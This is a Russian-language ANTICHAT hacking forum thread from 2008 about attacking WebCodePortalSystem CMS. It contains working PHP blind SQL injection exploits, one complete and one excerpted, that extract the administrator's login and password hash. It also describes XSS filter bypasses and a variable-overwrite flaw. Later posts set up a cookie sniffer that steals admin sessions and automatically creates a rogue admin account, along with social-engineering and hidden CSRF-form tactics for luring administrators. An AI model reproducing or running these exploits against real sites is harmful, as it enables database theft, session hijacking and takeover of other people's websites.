ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Собственно уязвимость нахотся в файле mod\cates\stat.php а уязвимый код выглядит так:
Код:
@$query = "INSERT INTO $GLOBALS[wcpref]downlog VALUES ('$nma', '$idd', '$GLOBALS[REMOTE_ADDR]', '$GLOBALS[HTTP_REFERER]', '$GLOBALS[HTTP_USER_AGENT]', '$now')";
if (!mysql_query($query)){WCInfoView(7,mysql_error(),__FILE__." ".__LINE__);}
Никаких проверок ни у referer ни у User-Agent и о какое счастье вывод ошибки в запросе. Да я согласен отсутствие вывода огорчает, но, написав небольшой эксплоит, можно таки очень легко поиметь сайт на этой цмс. Ну и сам эксплоит вот:
Код:
<?php
/*----------------------------------------*\
Експлоит для модуля Cates v1.0 к cms WCPS
Автор: I-I()/Ib
\*----------------------------------------*/
$set['host']='test2.ru';//Хост с CMS WPCS
$set['patch']='';//Путь к WCPS без слеша на конце!
$set['id_user']='2';//Номер юзера у которого буим брать хеш и логин (2 по дефолту админ)
$set['prefix']='wc_';//Префикс таблиц в БД
//----------------------------------------//
set_time_limit(0);
function create_packet($num,$sumb,$znak,$column='user_pass'){
global $set;
$tmp="111',IF(ASCII(SUBSTRING((SELECT ".$column." FROM ".$set['prefix']."user WHERE id=".$set['id_user']."),".$num.",1))".$znak.$sumb.",(SELECT 1 UNION SELECT 2),0),'1')/*";
$header="GET ".$set["patch"]."/index.php?nma=cates&fla=stat&idd=1"." HTTP/1.0\r\n";
$header.="Accept-Language: en-us,en;q=0.5\r\n";
$header.="Accept-Charset: utf-8,*;q=0.7\r\n";
$header.="Referer: ".$tmp."\r\n";
$header.="Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,*/*;q=0.5\r\n";
$header.="User-Agent: 1\r\n";
$header.="Connection: keep-alive\r\n";
$header.="Host: ".$set["host"]."\r\n\r\n";
return $header;
}
function logg($str){
echo($str.'<br>'."\r\n");
flush();
}
$ret='';
logg('<b>'.$set['host'].'</b>');
logg('Выдираем хеш...');
for($i=1;$i<=32;$i++){
$sred=0;
$tmp='';
$i2=0;
$i3=0;
$znak='>';
$mins=0;
$maxs=255;
while(1){
if($maxs-$mins>3){
$sred=round(($mins+$maxs)/2);
}else{
$sred=$mins+$i2;
$znak='=';
$i2=$i2+1;
if($mins>$maxs)break;
}
$header=create_packet($i,$sred,$znak);
$dt='';
$fp=fsockopen($set['host'], 80);
fwrite($fp, $header);
while(!feof($fp)){
$dt.=fread($fp, 1024);
}
fclose($fp);
if(substr_count($dt,'Subquery returns more than 1 row')){
if($znak==='>')$mins=$sred+1;
else if($znak==='='){
$ret.=chr($sred);
break;
}
}else{
if($znak==='>')$maxs=$sred;
}
if($i3>20)break;
else $i3++;
if(substr_count($dt,'doesn\'t exist'))die('Не верный префикс :(');
}
}
if(empty($ret))die('Не получилось :(');
logg('Хеш: <b>'.$ret.'</b>');
logg('Выдираем логин...');
$ret='';
for($i=1;$i<=25;$i++){
$sred=0;
$tmp='';
$i2=0;
$i3=0;
$znak='>';
$mins=0;
$maxs=255;
while(1){
if($maxs-$mins>3){
$sred=round(($mins+$maxs)/2);
}else{
$sred=$mins+$i2;
$znak='=';
$i2=$i2+1;
if($mins>$maxs)break;
}
$header=create_packet($i,$sred,$znak,'user_login');
$dt='';
$fp=fsockopen($set['host'], 80);
fwrite($fp, $header);
while(!feof($fp)){
$dt.=fread($fp, 1024);
}
fclose($fp);
if(substr_count($dt,'Subquery returns more than 1 row')){
if($znak==='>')$mins=$sred+1;
else if($znak==='='){
$ret.=chr($sred);
break;
}
}else{
if($znak==='>')$maxs=$sred;
}
if($i3>20)break;
else $i3++;
}
if(substr_count($ret,chr(0))){
$ret=str_replace(chr(0),'',$ret);
break;
}
}
if(empty($ret))die('Не получилось :(');
logg('Логин: <b>'.$ret.'</b>');
logg('Готово');
?>
Тут следует обратить внимание на файл php/wojs.php поставляемый вместе с модулем. Как можно заметить данный файл присутствует и в самой cms и в последних версиях этой cms этот файл не уязвим, но в модуле данный файл взят из более ранних версий, и при установке данного модуля неуязвимый файл меняется на другой-уязвимый, что приводит к большому количеству XSS. На всякий случай я повторю сплоенты:
Собственно я ее уже публиковал, как помним иньект там проходит после ORDER BY. Ну чтож развеем миф что скуля после ORDER BY не ракручиваемая. Вот эксплоит:
PHP код:
<?php
/*----------------------------------------*\
Експлоит для cms WCPS v4.0.1
Автор: I-I()/Ib
\*----------------------------------------*/
$set['host']='test2.ru';//Хост с CMS WPCS
$set['patch']='';//Путь к WCPS без слеша на конце!
$set['id_user']='2';//Номер юзера у которого буим брать хеш и логин (2 по дефолту админ)
$set['prefix']='wc_';//Префикс таблиц в БД
$set['catid']='2';//Номер группы статей
$set['catnm1']='Регистрация Своего Модуля';//Название первой статья отобажаемая по ссылке типа http://test2.ru/index.php?nma=catalog&fla=pod_menu&cat_id=2&by=id
$set['catnm2']='Как повысить цитируемость';//Название последней статьи
//----------------------------------------\\
set_time_limit(0);
function create_packet($num,$sumb,$maxs,$znak,$column='user_login'){
global $set;
$tmp='http://'.$set['host'].$set['patch'];
$tmp.='/index.php?nma=catalog&fla=pod_menu&cat_id=2&by=';
if($znak==='>')$tmp.=urlencode('(-id*(1=IF(ASCII(SUBSTRING((SELECT '.$column.' FROM '.$set['prefix'].'user WHERE id='.$set['id_user'].'),'.$num.',1)) BETWEEN '.$sumb.' AND '.$maxs.',1,2)))/*');
else $tmp.=urlencode('(-id*(1=IF(ASCII(SUBSTRING((SELECT '.$column.' FROM '.$set['prefix'].'user WHERE id='.$set['id_user'].'),'.$num.',1))'.$znak.$sumb.',1,2)))/*');
return $tmp;
}
function logg($str){
echo($str.'<br>'."\r\n");
flush();
}
Вот поймать бы того, кто в фильтр всунул строку user_pass (идиотизм какой-то), так бы сплоент работал и на последней версии 4.1. Но к сожалению в последней версии сплоент выдирает только логин, а вот в предпоследней (4.0.1) успешно вытаскивается админский логин и хеш.
__________________
Кто я?..
Последний раз редактировалось I-I()/Ib; 18.01.2008 в 22:21..
XSS WCPS v.4.2.1
Собственно не новые XSS(их там в каждом скрипте штуки по две), а новый метод обхода фильтров. Мне вообще "нравится" способ работы разработчиков. Вместо того чтобы исправить уязвимость они добавляют в фильтр новые ключевые слова, что, по их мнению, называется латанием дыр. Как говорится латаем дыры в днище корабля, когда сам корабль разваливается попалам.
Перезапись системных переменных WCPS v.4.2.1
Вообщем для тех кто хочет понять "как?", проведу небольшое вступление. Вот глянем код файла inc/php_function.php:
Код:
...
if ( is_array($_GET) ) {
while( list($k, $v) = each($_GET) ) {
if ( is_array($_GET[$k]) ) {
while( list($k2, $v2) = each($_GET[$k]) ) {
$k=key_check("$k");//Кавычки не убирать
$k2=key_check("$k2");
$_GET[$k][$k2] = str_check($v2);
eval("\$".$k."[\$k2] = str_check(\$v2);");
}
}
else { $k=key_check("$k");$_GET[$k] = str_check($v); $$k = $_GET[$k];}
}
}
...
function key_check($key) {
if ($key == '' OR $key =='_SERVER' OR $key =='_SESSION' OR $key =='_FILES' OR $key =='_REQUEST') { return ''; }
$key = preg_replace("/[^\w\xB2-\xB4\xBF-\xFF\xA5\xA8\xAA\xAF\xB8\xBA\s]/", "", $key );
return $key;
}
...
собственно это весь интересующий нас код. Как видно первая часть кода(такие же куски есть и для массивов POST и COOKIE), перепроверяет все переменные переданные GET-ом, и в случае если имя переменной равно какому нибудь системному массиву, уничтожает эту переменную, а также каждое значение переменной походит фильтрацию, между нами говоря я видел подобного рода код где то еще. Так вот приглядимся к функции key_check. Как видим она сначало проверяет на соответствие имени переменной и имени массива(кстати про массив GLOBALS они забыли), а потом на содержание в этом имени "запрещенных символов", это нам на руку.
WebCodePortalSystem v.4.2.1 (4.2.2) Создание привилегированного пользователя (админа) с помощью XSS, Снифер-Сплойт в комплекте + Видео по использованию
XSS - это достаточно серьезная уязвимость, которую не стоит не дооценивать!
Под XSS найденные I-I()/Ib`ом я написал снифер-сплойт, который не только сохраняет полученные куки, но и создаёт пользователя-админа, если куки окажутся админскими.
Вот XSS:
Цитата:
Сообщение от I-I()/Ib
XSS WCPS v.4.2.1
Собственно не новые XSS(их там в каждом скрипте штуки по две), а новый метод обхода фильтров. Мне вообще "нравится" способ работы разработчиков. Вместо того чтобы исправить уязвимость они добавляют в фильтр новые ключевые слова, что, по их мнению, называется латанием дыр. Как говорится латаем дыры в днище корабля, когда сам корабль разваливается попалам.
http://test1.ru/ - хост где будет лежать снифер
/sn.php - путь до снифера
Все больше ничего менять не нужно.
Настроим снифер:
PHP код:
//===========Config
$new_user_login = 'master';
$new_user_password = md5('master');
$op1 = 1; // Сохранять полученные куки
$op2 = 1; // Создать пользователя-админа (нужно что бы на снифер попал админ)
$link = 'http://mail.ru'; // Сайт на который будет перемещен, словивший нашу xss
//===========
Указываем логин и пароль нового пользователя - хотя можно оставить и пару master:master Ставим две единички (вообще если на снифер попадает админ, то хватит и просто создание нового пользователя, врятли нам после этого понадобятся куки админа). Теперь для чего нужно что бы после слова куков жертву перемещало на какой либо сайт - впринципе можно поставить перемещение на его же сайт, что бы было меньше палева (собственно для этого это и нужно).
Все сделали? ну тогда просто кидаем XSS админу и ждем результат...
А результатом должен быть наш новый пользователь (админ).
Как это работает?
Вообще когда мы крадем куки пользователей мы после этого обычно идем в админку и создаем нового пользователя или льем шелл - вообщем закрепляемся всевозможными способами. Но нам никто не мешает автоматизировать процесс. Суть то проста: на снифер падают куки, а так же сохранятеся реферер, т.е. у нас все не обходимое что бы авторизироваться под админом + адрес сайта (реферер). Дальше просто формируем пакет вписывая туда все необходимые данные для создания нового пользователя через админку, добавляем только что словленные куки, дальше пакет улетает и появляется новый пользователь. Вот такая вот автоматизация процесса. И еще один плюс, который появляется перед "ручным" способом это то что если админ все таки перешел по ссылке, то пользователь будет создан, а вот если делать руками, то админ может нажать заветную кнопочку "выход" и толку после этого от его куков не будет.
И ещё немного...
Мой вариант реализации отправки более общий, т.к. скрипт подделывает реферер, который может проверятся (но в случае с WebCodePortalSystem в админке ничего не проверяется). А вот в тех случаях когда подделывать реферер не нужно, можно сделать все гораздо проще:
Этот варинат предложил I-I()/Ib:
Создаем форму которая отправится сама - делается это с помощью javascript`а. В форме делаем все поля скрытыми и затачиваем их под какое то одно действие - к примеру опять же создание нового пользователя. Не забываем в action`е указать путь до сайта на котором нужно создать пользователя. Дальше заливаем на любой хост (хоть на народ) и получается что то вроде этого:
http://mysite.ru/1.html
Дальше кидаем линк админу и как только он зайдет на эту страничку будет создан новый пользователь.
И если так посмотреть то для этого не нужна никакая xss.
Но у такого способа есть минусы:
-Это будет работать только если нет проверки реферера, т.к. формой его не подделать (а если подделывать php скриптом, то тут нужны куки и как следствие наличие XSS)
-Как только данные из формы отправятся, админ тут же попадет в адмику на страницу с пользователями (а такой переход будет выглядеть очень палевно). Но это можно решить поставив скрипт (с формой) в ифрейм.
Сам скрипт от I-I()/Ib`я так же лежит в аттаче. (скрипт создает пользователя (админа) с логином xxxxxx и паролем xxxxxx)
Подводя итоги...
Вообщем случае если мы знаем какие данные нужно отправить для того что бы сделать какое либо действие (создасть пользователя/залить шелл/получить личную информацию и т.д.) и мы хотим что бы админ (пользователь с нужными привилегиями) выполнил нужные действия, сам того не зная, то для начала нужно определится нужен ли реферер (т.е. проверяется он в скрипте или нет).
Если он проверяется то нам нужно найти XSS с помощью который мы украдем куки и затем сформируем пакет с необходимыми данными.
Если он не проверяется, то искать XSS не обязательно (хотя если XSS активная, то её приемущество на лицо - не надо переходить по каким либо ссылкам), достаточно сделать форму которая отправит данные автоматически (к примеру сразу после загрузки формы).
Вообще если подумать, то отсутствие проверки реферера это очень серьезный недочет. Т.к. сделать такую форму можно минут за 5 (скопировать её к примеру из админки, поменять поля на хидден что бы их не было видно, поменять актион и все готово), а дальше к примеру на каком либо форуме/гостевой и т.д. просто запостить линк и ждать когда админ или другой интерисующий пользователь перейдем по ссылке. А в результате шелл/действия от лица других пользователей/получение информации и т.д.
Наличие Активной XSS существенно облегчает задачу, т.к. пасивные XSS и метод с формой можно отнести к Социальной Инженерии, т.к. трубеутся непосредственное участие пользователя обладающими нужными правами (нужно что бы пользователь перешел по определенной ссылке), а с Активной XSS никакого участия не требуется.
(звездочки из тегов удаляем-седланно чтобы форумом не воспринималось)
Обновляем страницу/глядим почту. Видим как браузер пытается загрузить несуществующий рисунок "http://google.ru/zzzz.jpg", в результате - ошибка и выполнение javascript-кода.
На практике нам проще создать ПМ сообщение админу - он в любом случае его откроет и как следствие его куки улетят к вам на снифер. А если вы заюзаете снифер от Grey-я, то тут даже напрягаться не надо, чтобы не потерять сессию.
Цитата:
Сообщение от Grey
Наличие Активной XSS существенно облегчает задачу
как на заказ))
__________________
Кто я?..
Последний раз редактировалось Grey; 07.02.2008 в 23:08..
Используйте снифер из поста #17 для создания нового админа.
P.S. в этой же скрипте wojs.php есть и другая действующая Пассивная XSS (из поста #10 все ещё не залатана, хотя версии новые выходили) - не скрипт, а прям сосредоточение уязвимостей))